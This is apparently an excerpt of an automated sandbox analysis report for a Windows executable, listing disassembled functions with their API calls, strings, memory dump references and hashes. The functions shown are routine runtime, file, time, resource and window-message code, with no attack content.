                                                              Function 00D8F33B Relevance: 9.1, APIs: 6, Instructions: 102timeCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • FileTimeToSystemTime.KERNEL32(?,?,562D4312,?,?,?,?,00DAAA27,000000FF), ref: 00D8F38A
                                                              • SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,?,00DAAA27,000000FF), ref: 00D8F399
                                                              • SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,00DAAA27,000000FF), ref: 00D8F3A7
                                                              • FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,00DAAA27,000000FF), ref: 00D8F3B5
                                                              • GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032,?,?,?,?,00DAAA27,000000FF), ref: 00D8F3D0
                                                              • GetTimeFormatW.KERNEL32(00000400,?,?,00000000,?,00000032,?,?,?,?,00DAAA27,000000FF), ref: 00D8F3FA
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: Time$System$File$Format$DateLocalSpecific
                                                              • String ID:
                                                              • API String ID: 909090443-0
                                                              • Opcode ID: 6211e1fd36ad10bb5346b99dcc366f565c40158d84bf04c405fd1a6618b07ea0
                                                              • Instruction ID: 097035661bdfcd1f9218d6079fe99b7078148226a9384c39505a71751a69eb65
                                                              • Opcode Fuzzy Hash: 6211e1fd36ad10bb5346b99dcc366f565c40158d84bf04c405fd1a6618b07ea0
                                                              • Instruction Fuzzy Hash: 0031DDB2510288AFDB11DFA4DD45EEF77ACFB59714F00412AF906D6241EB74AA09CB70
                                                              Function 00D9977A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • GetLastError.KERNEL32(?,?,00D99771,00D996CC,00D96A64), ref: 00D99788
                                                              • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00D99796
                                                              • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00D997AF
                                                              • SetLastError.KERNEL32(00000000,00D99771,00D996CC,00D96A64), ref: 00D99801
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: ErrorLastValue___vcrt_
                                                              • String ID:
                                                              • API String ID: 3852720340-0
                                                              • Opcode ID: 629e1c5be3929350f11f228fe7b03f0d46c4a42a87baaade10a64f9e97204208
                                                              • Instruction ID: 1b5e40837deec33f30ea89d22b4dfd1986d98950a9f076b2cfc1c113a2d9c95f
                                                              • Opcode Fuzzy Hash: 629e1c5be3929350f11f228fe7b03f0d46c4a42a87baaade10a64f9e97204208
                                                              • Instruction Fuzzy Hash: DD01BC72239351EEAF242FBD6CF556AAB84EB02375731032DF620952E4EE218C00D5B5
                                                              Function 00DA0005 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • GetLastError.KERNEL32(?,?,00D9B581,?,00DBE088,?,00D9AE80,?,00DBE088,?,00000007), ref: 00DA0009
                                                              • _free.LIBCMT ref: 00DA003C
                                                              • _free.LIBCMT ref: 00DA0064
                                                              • SetLastError.KERNEL32(00000000,00DBE088,?,00000007), ref: 00DA0071
                                                              • SetLastError.KERNEL32(00000000,00DBE088,?,00000007), ref: 00DA007D
                                                              • _abort.LIBCMT ref: 00DA0083
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: ErrorLast$_free$_abort
                                                              • String ID:
                                                              • API String ID: 3160817290-0
                                                              • Opcode ID: ce3fdfc797d698b5517cd2f7fd90f0bd1ddcf1d36aef98d7df0bb21c4602d2b5
                                                              • Instruction ID: fc64bc7fb00664ca024e4d9ce40d79ab0a9edb4efd4bd0cc188a69ac6e55d5d6
                                                              • Opcode Fuzzy Hash: ce3fdfc797d698b5517cd2f7fd90f0bd1ddcf1d36aef98d7df0bb21c4602d2b5
                                                              • Instruction Fuzzy Hash: 27F0A436104B00E7C62233346D46F2B2E59DFC3771F2A0114F618D2292EF7988468279
                                                              Function 00D93FCF Relevance: 9.0, APIs: 6, Instructions: 42windowsynchronizationCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • WaitForSingleObject.KERNEL32(?,0000000A), ref: 00D93FDB
                                                              • PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00D93FF5
                                                              • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00D94006
                                                              • TranslateMessage.USER32(?), ref: 00D94010
                                                              • DispatchMessageW.USER32(?), ref: 00D9401A
                                                              • WaitForSingleObject.KERNEL32(?,0000000A), ref: 00D94025
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: Message$ObjectSingleWait$DispatchPeekTranslate
                                                              • String ID:
                                                              • API String ID: 2148572870-0
                                                              • Opcode ID: 0d11a2c6e665edea0cb4bf6cae3d30ee5b9fa94716e19bd4fa08e6b57400b1d9
                                                              • Instruction ID: 4652500b6080494c547cbdabe355191aa1f39d40451d6261f2010c18bf4f76d6
                                                              • Opcode Fuzzy Hash: 0d11a2c6e665edea0cb4bf6cae3d30ee5b9fa94716e19bd4fa08e6b57400b1d9
                                                              • Instruction Fuzzy Hash: FEF0EC72A0121AABCF205BA5EC4CEDF7E7DEF56791F048011F60AE2155E6349542DBF0
                                                              Function 00D92493 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 216windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetDlgItem.USER32(?,00000066), ref: 00D926A9
                                                              • SendMessageW.USER32(00000000,00000143,00000000,00DC5380), ref: 00D926D6
                                                              • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00D92702
                                                              Strings
                                                              • Software\Microsoft\Windows\CurrentVersion, xrefs: 00D925F4
                                                              • ProgramFilesDir, xrefs: 00D925E0
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$Item
                                                              • String ID: ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
                                                              • API String ID: 3888421826-2634093826
                                                              • Opcode ID: f22418d7151415111ad106a8084a27a7b7a8806525961a825ba904a9a97c1cd7
                                                              • Instruction ID: 42e3837ccbb38a94d3083608097753b73029a76101355f00face5d806403f395
                                                              • Opcode Fuzzy Hash: f22418d7151415111ad106a8084a27a7b7a8806525961a825ba904a9a97c1cd7
                                                              • Instruction Fuzzy Hash: 3B814035900259AEDF14EBE4C891FEDB7B8EF18310F584199E549B7181EB706B89CB70
                                                              Function 00D8DC95 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 122COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: _wcslen$H_prolog3
                                                              • String ID: &nbsp;$<br>
                                                              • API String ID: 1035939448-26742755
                                                              • Opcode ID: ee3f3c21c24570f8f82f597eb94ea30d9ccd07849308a056a58e9f6d328b1299
                                                              • Instruction ID: 9afc595ae4233ea9b58e9f70b6b018fd11e2ecb0386d8cffc5c180187884738c
                                                              • Opcode Fuzzy Hash: ee3f3c21c24570f8f82f597eb94ea30d9ccd07849308a056a58e9f6d328b1299
                                                              • Instruction Fuzzy Hash: 4D412A35B00311ABDB15AF58D881A3D7373FBA5704F64842AE4069F2C1EBB19982CBF1
                                                              Function 00D907E5 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • LoadBitmapW.USER32(00000065), ref: 00D907F5
                                                              • GetObjectW.GDI32(00000000,00000018,?), ref: 00D9081A
                                                              • DeleteObject.GDI32(00000000), ref: 00D9084C
                                                              • DeleteObject.GDI32(00000000), ref: 00D9086F
                                                                • Part of subcall function 00D8EBD3: FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,00D90845,00000066), ref: 00D8EBE6
                                                                • Part of subcall function 00D8EBD3: SizeofResource.KERNEL32(00000000,?,?,?,00D90845,00000066), ref: 00D8EBFD
                                                                • Part of subcall function 00D8EBD3: LoadResource.KERNEL32(00000000,?,?,?,00D90845,00000066), ref: 00D8EC14
                                                                • Part of subcall function 00D8EBD3: LockResource.KERNEL32(00000000,?,?,?,00D90845,00000066), ref: 00D8EC23
                                                                • Part of subcall function 00D8EBD3: GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,00D90845,00000066), ref: 00D8EC3E
                                                                • Part of subcall function 00D8EBD3: GlobalLock.KERNEL32(00000000), ref: 00D8EC4F
                                                                • Part of subcall function 00D8EBD3: CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 00D8EC73
                                                                • Part of subcall function 00D8EBD3: GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00D8ECB8
                                                                • Part of subcall function 00D8EBD3: GlobalUnlock.KERNEL32(00000000), ref: 00D8ECD7
                                                                • Part of subcall function 00D8EBD3: GlobalFree.KERNEL32(00000000), ref: 00D8ECDE
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: Global$Resource$Object$BitmapCreateDeleteLoadLock$AllocFindFreeFromGdipSizeofStreamUnlock
                                                              • String ID: ]
                                                              • API String ID: 1797374341-3352871620
                                                              • Opcode ID: ca902a5bdc07fdb09e55ed457d3eaba188c089afedcc8d1cd38ce632bb8c01e3
                                                              • Instruction ID: 34cac58b8b985f160ab4ad50fddbc443e24177ada4cf0dac2978af24eb4e3bc8
                                                              • Opcode Fuzzy Hash: ca902a5bdc07fdb09e55ed457d3eaba188c089afedcc8d1cd38ce632bb8c01e3
                                                              • Instruction Fuzzy Hash: 01018032A44216ABEB1177A4AC09E6F7B79EF80B55F090124B901A7391DB718C05ABF1
                                                              Function 00D9ED2F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00D9ECE0,00000000,?,00D9EC80,00000000,00DB6F40,0000000C,00D9EDD7,00000000,00000002), ref: 00D9ED4F
                                                              • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00D9ED62
                                                              • FreeLibrary.KERNEL32(00000000,?,?,?,00D9ECE0,00000000,?,00D9EC80,00000000,00DB6F40,0000000C,00D9EDD7,00000000,00000002), ref: 00D9ED85
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AddressFreeHandleLibraryModuleProc
                                                              • String ID: CorExitProcess$mscoree.dll
                                                              • API String ID: 4061214504-1276376045
                                                              • Opcode ID: dd7f1681fcab4179d820e785ea228aa0f4edc6f754ec2314516a8f4ee4fdce4f
                                                              • Instruction ID: 07253d4a39d02df3bad8fa4a9b9138934c13de029022ef941671026534e29e94
                                                              • Opcode Fuzzy Hash: dd7f1681fcab4179d820e785ea228aa0f4edc6f754ec2314516a8f4ee4fdce4f
                                                              • Instruction Fuzzy Hash: 8AF04F30A10218FBCF119FB4DC09BAEBFB5EB09725F0401A8F805E2250CB718A45CBB4
                                                              Function 00D85094 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20libraryloaderCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00D86C5E: __EH_prolog3_GS.LIBCMT ref: 00D86C65
                                                                • Part of subcall function 00D86C5E: GetSystemDirectoryW.KERNEL32(00000000,00000104), ref: 00D86C9A
                                                              • GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00D850B3
                                                              • GetProcAddress.KERNEL32(00DC51F8,CryptUnprotectMemory), ref: 00D850C3
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AddressProc$DirectoryH_prolog3_System
                                                              • String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
                                                              • API String ID: 270589589-1753850145
                                                              • Opcode ID: 5494d076cbbb253891ccc547b9d1167c8947ad4782344bfe5fe795438b57e07e
                                                              • Instruction ID: d78aa390605b4aaebf24305786ae8533735d6da4de12af0639ef9fb7b3592d34
                                                              • Opcode Fuzzy Hash: 5494d076cbbb253891ccc547b9d1167c8947ad4782344bfe5fe795438b57e07e
                                                              • Instruction Fuzzy Hash: 4DE04F70820711DECB306F74EC097467ED4AF06724F14982DA4D9D3640D6B4E4448B70
                                                              Function 00D9985A Relevance: 7.7, APIs: 5, Instructions: 168COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AdjustPointer$_abort
                                                              • String ID:
                                                              • API String ID: 2252061734-0
                                                              • Opcode ID: 209f989e141d05e2641783c73c5dbe210d091666c8aeef3f94da45e6c11ce4c4
                                                              • Instruction ID: 2d88ef39287c138b9b93cd5345d53cfcb50308f9ee781f48c122f474e42380db
                                                              • Opcode Fuzzy Hash: 209f989e141d05e2641783c73c5dbe210d091666c8aeef3f94da45e6c11ce4c4
                                                              • Instruction Fuzzy Hash: D251B272A01206AFDF299F58D861BBAF7A4EF41710F18452DE84597291E732EC85CBB0
                                                              Function 00D7F3BE Relevance: 7.7, APIs: 5, Instructions: 161filetimeCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __EH_prolog3_GS.LIBCMT ref: 00D7F3C5
                                                              • CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,00000050,00D7B749,?,?,?,?,?,?), ref: 00D7F450
                                                              • CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?), ref: 00D7F4A7
                                                              • SetFileTime.KERNEL32(?,?,?,?), ref: 00D7F569
                                                              • CloseHandle.KERNEL32(?), ref: 00D7F570
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: File$Create$CloseH_prolog3_HandleTime
                                                              • String ID:
                                                              • API String ID: 4002707884-0
                                                              • Opcode ID: afb8127312020c09bf3fc3565b65b269a1f8e38067070542f20bda6510b6d8b5
                                                              • Instruction ID: a78cad1326770597e15241dcd6e377898d5e497f1c2b77c1ce0ce4430cf37cf2
                                                              • Opcode Fuzzy Hash: afb8127312020c09bf3fc3565b65b269a1f8e38067070542f20bda6510b6d8b5
                                                              • Instruction Fuzzy Hash: 15519070900248ABDF25DFE8D885BEEBBB5AF09314F288129F555F7280E7349A45CB34
                                                              Function 00DA2BE0 Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetEnvironmentStringsW.KERNEL32 ref: 00DA2BE9
                                                              • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00DA2C0C
                                                                • Part of subcall function 00DA040E: RtlAllocateHeap.NTDLL(00000000,00D9535E,?,?,00D96C16,?,?,?,?,?,00D95269,00D9535E,?,?,?,?), ref: 00DA0440
                                                              • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00DA2C32
                                                              • _free.LIBCMT ref: 00DA2C45
                                                              • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00DA2C54
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
                                                              • String ID:
                                                              • API String ID: 336800556-0
                                                              • Opcode ID: b8715cc14de1a2d79be7dbc339b0690f7c6a76b4565e7a7f1c788742e6027f1b
                                                              • Instruction ID: 78fcc2fd98d54bb10b1cdd08a4ba975cc6c4bd52e8ece84bf2be48a075fddd90
                                                              • Opcode Fuzzy Hash: b8715cc14de1a2d79be7dbc339b0690f7c6a76b4565e7a7f1c788742e6027f1b
                                                              • Instruction Fuzzy Hash: AE018B766017157F27252AAB6C8CD7F6AADEEC7BB13190129B944D6211EA60CC0291B1
                                                              Function 00DA0089 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • GetLastError.KERNEL32(00D9535E,00D9535E,?,00DA01D8,00DA0451,?,?,00D96C16,?,?,?,?,?,00D95269,00D9535E,?), ref: 00DA008E
                                                              • _free.LIBCMT ref: 00DA00C3
                                                              • _free.LIBCMT ref: 00DA00EA
                                                              • SetLastError.KERNEL32(00000000,?,00D9535E), ref: 00DA00F7
                                                              • SetLastError.KERNEL32(00000000,?,00D9535E), ref: 00DA0100
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: ErrorLast$_free
                                                              • String ID:
                                                              • API String ID: 3170660625-0
                                                              • Opcode ID: 15a7f237e4183812b327343c932938cbe80c215ee235c9b97207aaef6822a02a
                                                              • Instruction ID: e82b32e6634cb9d130153c08abb9a4fa46db27320a93eab6794c5156e7594b4f
                                                              • Opcode Fuzzy Hash: 15a7f237e4183812b327343c932938cbe80c215ee235c9b97207aaef6822a02a
                                                              • Instruction Fuzzy Hash: 0A012837145701AB872227756D96F2B2D6ADFC3371B290128F545E3292EE74CC055178
                                                              Function 00DA34AF Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • _free.LIBCMT ref: 00DA34C7
                                                                • Part of subcall function 00DA03D4: RtlFreeHeap.NTDLL(00000000,00000000,?,00DA3546,?,00000000,?,00000000,?,00DA356D,?,00000007,?,?,00DA396A,?), ref: 00DA03EA
                                                                • Part of subcall function 00DA03D4: GetLastError.KERNEL32(?,?,00DA3546,?,00000000,?,00000000,?,00DA356D,?,00000007,?,?,00DA396A,?,?), ref: 00DA03FC
                                                              • _free.LIBCMT ref: 00DA34D9
                                                              • _free.LIBCMT ref: 00DA34EB
                                                              • _free.LIBCMT ref: 00DA34FD
                                                              • _free.LIBCMT ref: 00DA350F
                                                              Memory Dump Source
